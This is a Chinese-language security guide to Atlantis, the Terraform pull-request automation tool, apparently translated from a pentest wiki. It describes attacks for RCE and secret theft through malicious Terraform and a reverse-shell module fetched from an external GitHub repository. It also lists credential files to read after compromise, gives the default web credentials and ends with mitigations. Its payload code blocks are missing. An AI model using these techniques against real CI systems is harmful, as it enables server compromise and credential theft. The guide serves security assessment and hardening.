Atlantis Security
基本信息
Atlantis基本上帮助您从git服务器的拉取请求中运行terraform。
本地实验室
前往https://github.com/runatlantis/atlantis/releases的atlantis发布页面,下载适合您的版本。
创建您的github用户的个人令牌(具有存储库访问权限)
执行
./atlantis testdrive
,它将创建一个您可以用来与atlantis交互的演示存储库您可以在127.0.0.1:4141访问网页
Atlantis访问
Git服务器凭据
Atlantis支持多个git主机,如Github、Gitlab、Bitbucket和Azure DevOps。 但是,为了访问这些平台上的存储库并执行操作,需要为它们授予一些特权访问权限(至少写入权限)。 文档鼓励在这些平台上创建一个专门用于Atlantis的用户,但有些人可能使用个人帐户。
无论如何,从攻击者的角度来看,Atlantis帐户将是一个非常有趣的被入侵目标。
Webhooks
Atlantis可选择使用Webhook密钥来验证从您的Git主机接收的webhooks是否合法。
确认的一种方法是允许请求仅来自您的Git主机的IP,但更简单的方法是使用Webhook密钥。
请注意,除非您使用私有github或bitbucket服务器,否则您将需要将webhook端点暴露到互联网上。
Atlantis将公开webhooks,以便git服务器可以向其发送信息。从攻击者的角度来看,了解是否可以向其发送消息将是很有趣的。
提供者凭据
Atlantis通过简单地在托管Atlantis的服务器上执行terraform plan
和apply
命令来运行Terraform。就像在本地运行Terraform时一样,Atlantis需要您特定提供者的凭据。
您可以选择如何为Atlantis提供您特定提供者的凭据:
Atlantis的Helm Chart和AWS Fargate模块有它们自己的提供者凭据机制。请阅读它们的文档。
如果您在云中运行Atlantis,则许多云都有方法为在其上运行的应用程序提供云API访问权限,例如:
AWS EC2角色(搜索“EC2角色”)
许多用户设置环境变量,例如
AWS_ACCESS_KEY
,其中Atlantis正在运行。其他人创建必要的配置文件,例如
~/.aws/credentials
,其中Atlantis正在运行。使用HashiCorp Vault提供者获取提供者凭据。
Atlantis正在运行的容器很可能会包含对由Terraform管理的提供者(AWS、GCP、Github等)的特权凭据。
网页
默认情况下,Atlantis将在本地主机的端口4141上运行一个网页。此页面只允许您启用/禁用atlantis应用程序并检查存储库的计划状态并解锁它们(不允许修改内容,因此并不那么有用)。
您可能不会发现它暴露在互联网上,但默认情况下不需要凭据访问它(如果需要,atlantis
:atlantis
是默认凭据)。
服务器配置
可以通过命令行标志、环境变量、配置文件或三者混合来指定对atlantis server
的配置。
您可以在这里找到支持的标志列表由Atlantis服务器支持
值按照以下顺序选择:
标志
环境变量
配置文件
请注意,在配置中您可能会找到诸如令牌和密码等有趣的值。
存储库配置
某些配置会影响存储库的管理方式。但是,可能每个存储库需要不同的设置,因此有方法指定每个存储库。这是优先级顺序:
存储库
/atlantis.yml
文件。此文件可用于指定atlantis应如何处理存储库。但是,默认情况下,一些键不能在此处指定,除非允许一些标志。可能需要通过像
allowed_overrides
或allow_custom_workflows
这样的标志来允许服务器端配置:您可以使用
--repo-config
标志传递它,这是一个为每个存储库配置新设置的yaml(支持正则表达式)默认值
PR保护
Atlantis允许指定是否希望PR在运行应用之前被其他人**批准
(即使在分支保护中没有设置),和/或在运行应用之前可合并**(分支保护已通过)。从安全角度考虑,建议同时设置这两个选项。
如果allowed_overrides
为True,则可以通过**/atlantis.yml
文件在每个项目上覆盖这些设置**。
脚本
存储库配置可以指定脚本在之前(预工作流挂钩)和之后(后工作流挂钩)执行工作流程。
在存储库/atlantis.yml
文件中没有选项允许指定这些脚本。
工作流程
在存储库配置(服务器端配置)中,您可以指定新的默认工作流程,或创建新的自定义工作流程。 您还可以指定哪些存储库可以访问生成的新工作流程**。 然后,您可以允许每个存储库的atlantis.yaml文件指定要使用的工作流程。
如果服务器端配置标志allow_custom_workflows
设置为True,则可以在每个存储库的**atlantis.yaml
文件中指定工作流程**。还可能需要**allowed_overrides
也指定workflow
以覆盖将要使用的工作流程**。
这基本上会向可以访问该存储库的任何用户提供Atlantis服务器中的RCE。
Conftest策略检查
Atlantis支持针对计划输出运行服务器端conftest 策略。使用此步骤的常见用例包括:
拒绝使用模块列表
在创建时断言资源的属性
捕获意外资源删除
防止安全风险(例如将安全端口暴露给公众)
您可以查看如何配置它在文档中。
Atlantis命令
在文档中,您可以找到可以用来运行Atlantis的选项:
攻击
如果在利用过程中遇到此错误:Error: Error acquiring the state lock
您可以通过运行以下命令来修复:
Atlantis计划RCE - 在新PR中修改配置
如果您对存储库具有写入访问权限,您将能够在其中创建一个新分支并生成一个PR。如果您可以执行atlantis plan
(或者它可能会自动执行),您将能够在Atlantis服务器内执行RCE。
您可以通过让Atlantis加载外部数据源来实现这一点。只需在main.tf
文件中放入如下有效负载:
更隐蔽的攻击
您可以以更隐蔽的方式执行此攻击,方法如下:
不要直接将反向 shell 添加到 terraform 文件中,而是可以加载包含反向 shell 的外部资源:
你可以在https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules找到反向shell代码。
在外部资源中,使用ref功能来隐藏存储库中的terraform反向shell代码的分支,类似于:
git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
而不是创建一个到主分支的PR来触发Atlantis,创建2个分支(test1和test2),并从一个分支创建一个PR到另一个分支。当攻击完成后,只需删除PR和分支。
Atlantis计划机密转储
你可以通过在terraform文件中放置类似以下内容来转储terraform使用的机密运行atlantis plan
(terraform plan
):
Atlantis应用RCE - 在新PR中修改配置
如果您对存储库具有写入访问权限,则可以在其上创建一个新分支并生成一个PR。如果您可以执行atlantis apply
,则可以在Atlantis服务器内部执行RCE。
但是,通常您需要绕过一些保护措施:
可合并性:如果在Atlantis中设置了此保护措施,则只有在PR可合并时才能运行
atlantis apply
(这意味着需要绕过分支保护)。检查可能的分支保护绕过
已批准:如果在Atlantis中设置了此保护措施,则其他用户必须在您运行
atlantis apply
之前批准该PR。默认情况下,您可以滥用Gitbot令牌来绕过此保护
在恶意Terraform文件上运行terraform apply
,其中包含local-exec。
您只需要确保类似以下负载的内容出现在main.tf
文件中:
遵循上一个技术的建议以更隐蔽的方式执行此攻击。
Terraform 参数注入
当运行 atlantis plan
或 atlantis apply
时,terraform 在后台运行,您可以通过在 atlantis 中注释一些内容来向 terraform 传递命令:
自定义工作流程
运行在 atlantis.yaml
文件中指定的恶意自定义构建命令。Atlantis 使用来自拉取请求分支的 atlantis.yaml
文件,而不是来自 master
分支。
这种可能性在前面的部分中提到过:
如果服务器端配置标志 allow_custom_workflows
设置为 True,工作流程可以在每个存储库的 atlantis.yaml
文件中指定。还可能需要 allowed_overrides
也指定 workflow
来覆盖将要使用的工作流程。
这基本上会给可以访问该存储库的任何用户在 Atlantis 服务器中执行远程代码的权限。
绕过计划/应用保护
如果服务器端配置标志allowed_overrides
_已_配置apply_requirements
,则可能允许存储库修改计划/应用保护以绕过它们。
PR劫持
如果有人在您的有效拉取请求上发送atlantis plan/apply
评论,将导致terraform在您不希望运行时运行。
此外,如果您没有在分支保护中配置为在推送新提交时要求重新评估每个PR,某人可以在terraform配置中写入恶意配置(检查先前的情景),运行atlantis plan/apply
并获得RCE。
这是Github分支保护中的设置:
Webhook密钥
如果您设法窃取了使用的Webhook密钥,或者没有使用任何Webhook密钥,您可以调用Atlantis Webhook并直接调用atlantis命令。
Bitbucket
Bitbucket Cloud不支持Webhook密钥。这可能允许攻击者伪造来自Bitbucket的请求。确保只允许Bitbucket IP。
这意味着攻击者可以制作看起来来自Bitbucket的虚假请求发送到Atlantis。
如果您指定了
--repo-allowlist
,那么他们只能伪造与那些存储库相关的请求,因此他们可能对您自己的存储库进行计划/应用。为防止此类情况,允许列出Bitbucket的IP地址(请参见Outbound IPv4地址)。
后渗透
如果您设法访问服务器,或者至少获得了LFI,有一些有趣的事情您应该尝试阅读:
/home/atlantis/.git-credentials
包含VCS访问凭据/atlantis-data/atlantis.db
包含更多信息的VCS访问凭据/atlantis-data/repos/<org_name>
/
<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate
Terraform状态文件示例:/atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
/proc/1/environ
环境变量/proc/[2-20]/cmdline
atlantis server
的Cmd行(可能包含敏感数据)
缓解措施
不要在公共存储库上使用
因为任何人都可以在公共拉取请求上发表评论,即使有所有可用的安全缓解措施,也在没有正确配置安全设置的情况下在公共存储库上运行Atlantis仍然很危险。
不要使用--allow-fork-prs
--allow-fork-prs
如果您在公共存储库上运行(不建议,请参见上文),则不应设置--allow-fork-prs
(默认为false),因为任何人都可以从其分支向您的存储库打开拉取请求。
--repo-allowlist
--repo-allowlist
Atlantis要求您通过--repo-allowlist
标志指定将接受Webhook的存储库的白名单。例如:
特定存储库:
--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
整个组织:
--repo-allowlist=github.com/runatlantis/*
您GitHub企业安装中的每个存储库:
--repo-allowlist=github.yourcompany.com/*
所有存储库:
--repo-allowlist=*
。在受保护的网络中很有用,但如果没有设置Webhook密钥,也很危险。
此标志确保您的Atlantis安装不会与您无法控制的存储库一起使用。有关更多详细信息,请参阅atlantis server --help
。
保护Terraform规划
如果攻击者提交带有恶意Terraform代码的拉取请求在您的威胁模型中,则必须意识到terraform apply
批准是不够的。可以使用external
数据源运行恶意代码在terraform plan
中,或者通过指定恶意提供程序。然后,此代码可能窃取您的凭据。
为防止此情况,您可以:
将提供程序嵌入Atlantis镜像或主机,并在生产环境中拒绝出站流量。
在内部实现提供程序注册表协议并拒绝公共出站流量,这样您可以控制谁有写访问权限。
修改您的服务器端存储库配置的
plan
步骤,以验证是否使用了不允许的提供程序或数据源或来自不允许用户的PR。在这一点上,您还可以添加额外的验证,例如在允许plan
继续之前要求对PR进行“点赞”。Conftest可能在这里有用。
Webhook密钥
Atlantis应该通过$ATLANTIS_GH_WEBHOOK_SECRET
/$ATLANTIS_GITLAB_WEBHOOK_SECRET
环境变量设置Webhook密钥。即使设置了--repo-allowlist
标志,如果没有Webhook密钥,攻击者仍然可以伪装成允许列出的存储库向Atlantis发出请求。Webhook密钥确保Webhook请求实际来自您的VCS提供商(GitHub或GitLab)。
如果您使用Azure DevOps,可以添加基本用户名和密码,而不是Webhook密钥。
Azure DevOps基本身份验证
Azure DevOps支持在所有Webhook事件中发送基本身份验证头。这需要在Webhook位置使用HTTPS URL。
SSL/HTTPS
如果您使用Webhook密钥,但流量通过HTTP,则Webhook密钥可能会被窃取。使用--ssl-cert-file
和--ssl-key-file
标志启用SSL/HTTPS。
在Atlantis Web服务器上启用身份验证
强烈建议在Web服务中启用身份验证。使用--web-basic-auth=true
启用BasicAuth,并使用--web-username=yourUsername
和--web-password=yourPassword
标志设置用户名和密码。
您还可以将这些作为环境变量传递ATLANTIS_WEB_BASIC_AUTH=true
ATLANTIS_WEB_USERNAME=yourUsername
和 ATLANTIS_WEB_PASSWORD=yourPassword
。
参考资料
Last updated